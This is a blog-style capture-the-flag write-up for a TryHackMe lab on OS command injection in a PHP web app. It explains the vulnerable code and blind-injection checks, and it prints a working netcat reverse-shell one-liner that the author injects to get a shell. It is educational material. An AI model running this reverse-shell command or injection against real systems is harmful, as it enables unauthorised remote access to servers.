OS Command Injection Vulnerability

Musyoka Ian
9 min readJun 4, 2020

--

What is OS command Injection Vulnerability ?

This is a type of vulnerability that allows an attacker to execute arbitrary command on the target system and what make this attack really interesting is that it requires very little knowledge for anyone to exploit. If an attacker has found OS command injection vulnerability on a system, the attacker can not only be able to read sensitive files (like E-mails, usernames, passwords and source code of the web application) or write malicious code on the server which can lead to getting a shell on the web server but the attacker can also have a rough idea on the hosting infrastructure. Today am going to demonstrate how OS command injection can be leveraged using a box that was released about a day ago in TryHackMe called Injection.

Why does OS command Injection Vulnerability happen ?

This vulnerability normally occurs when user input isn’t properly validated and hence no sanitization of the user input occurs meaning the raw input gets executed also begginer web developers are more concerned about the web page working and tend to forget security implication this leaves lots of websites in the world wide web vulnerabale to OS command injection lastly web applications that uses functions that perform system calls are more vulnerable to OS command injections. Examples of this funtions include

  1. system() This function executes the specified command, and dumps any resulting text to the output stream (either the HTTP output in a web server situation, or the console if you are running PHP as a command line tool)
  2. exec() it gives you the opportunity to put this text in an array returned in the second parameter to the function
  3. eval() The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged.
  4. passthru() This function, like the others, executes the program you tell it to. However, it then proceeds to immediately send the raw output from this program to the output stream with which PHP is currently working (i.e. either HTTP in a web server scenario, or the shell in a command line version of PHP).

And so on and so forth there are many ways that you can use specifically whenever the server is running PHP . Below is a list of functions and how they differ when it comes to OS command injection. If you want to understand more about them I’ll leave a link at the end of the article so that you can read more

+--------------+-----------------+----------------+----------------+
| Command | Displays Output | Can Get Output | Gets Exit Code |
---------------+-----------------+----------------+----------------+
| system() | Yes (as text) | Last line only | Yes |
| passthru() | Yes (raw) | No | Yes |
| exec() | No | Yes (array) | Yes |
|shell_exec() | No | Yes (string) | No |
|backticks(``) | No | Yes (string) | No |
+--------------+-----------------+----------------+----------------+

Enough of that let’s jump into the box

As any other box that we’ve done before we’ll start of with a nmap scan this will give us a pretty good idea of services running on the box

Looking at the result we have two ports open ssh and HTTP. Since ssh requires credentials i started by enumerating HTTP since it has the biggest attack vector

On opening the webpage we get a standard webpage with a directory search bar

TryHackMe provides the PHP source Code used in making the application

That I’ll be explaining line by line

The first two line tells the browser that the method to be used in the header is GET and the parameter the URL will use is username and it sets the URL as a variable $username (meaning this variable will contain information the user imputed on the search bar)

Another variable $command is created which basically contains the command to be executed and it will only be used to grep username that was inputed (now showing the entire output)

Another variable $return_user which uses the exec function in PHP to execute the $command variable. This is where the vulnerability arises since as we can see there is no sanitization of user input in this command or any other part place in the PHP code whatsoever (Or a blacklist filer that checks for certain words in the input like `whoami`,`bash`,`nc`,`bash``pwd`by doing an quick search and if it finds them the input is terminated)

If the $returned_user looks at the output of $command variable and if nothing was returned when the command was executed it prints on the screen “the user was not found on the system

If the username exists it prints on the screen “Success! User was found on the system. It uses the echo command which in PHP just prints the output to the screen. The logic it uses to know if the user exists or not is that it outputs the entire content of the well known Linux file passwd which contains all the users of that particular box and then uses awk a Linux command to filter out the contents of the passwd file so that only usernames are outputted the uses grep and the user input to compare whether the user exists or not

Let’s see in action how this happens

I search for a username that definitely exists in any Linux system root and tried to search for that username

And we see that the username exists

And if we supply a username that totally doesn’t exists we get an error message that the user doesn’t exists

That was all the developer intended for that particular web application but an attacker found a loophole where by using comma (;) the attacker is able to execute more commands in a single instance than the application was supposed to and since this the developer of the application didn’t take into consideration when making the web application a vulnerability arises

Let me show a basic example using my terminal

The semicolon tells my terminal that you have reached the end of the first command henceforth from here execute the strings as a different command. Another way that i could execute a two or more commands in a single instance is by using && as I’ll demonstrate below

Now that we have a way to execute commands on the server why don’t we try those techniques and see if it work

So i tried to execute a common command that is in any Linux system ls -la but got but got no output of the command

But this doesn’t mean that the command failed to execute maybe the command injection is blind meaning there is no way an output is displayed on the screen. There are two ways (that i know of) that I’ll be testing this

a) Using ping command and starting tcpdump listener on you local box as I’ll show below

I set up a Tcpdump listener on my local box and if i get a callback it means that the web application is vulnerable

  1. Before getting a callback

2. After getting a callback

Sweet this proves that the web application is vulnerable since we are able to ping ourselves

b) By using a sleep command which tells the system to sleep for a certain period of before outputting the result. For this demonstration I’ll be using burpsuite since it has a feature that I’ll use to measure response time. So i intercepted the request using burpsuite

As seen from the above screenshot it takes approximately 207 milliseconds for response to come back if we use a sleep command we can modify the response time to whatever we want example I’ll do a sleep 5 that will force the application to delay the response for 5 minutes

And as seen below it took approximately 5 seconds for the command to return

If we use a sleep 10 command

Now that we are certain that there is OS command injection vulnerability why don’t we try and get a shell

The cheat sheet that i normally use is the pentest monkey reverse shell cheat sheet

And the one command that almost always works is

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

I just copied the command to my search bar

And created a netcat listener

On executing the command

We have a shell on the box. Easy right I decided to upgrade my shell to a fully interactive tty

Getting the final flag was a little bit trick since there was no user to with shell except root and i decided to run linpeas the gives the flag pretty much in clear text

And that's done. I decided to go an extra mile and decided to use python to automate the entire process by creating a python script it opens a terminal that allows executing of commands but the terminal is not persistent

a part of the source code is seen below

Just a proof of concept that the script works

I’ll leave the link to the source code on my GitHub page so that you folks can modify it and make it better. That’s it for now guys till next time take care

My GitHub link

Stack Overflow Link

--

--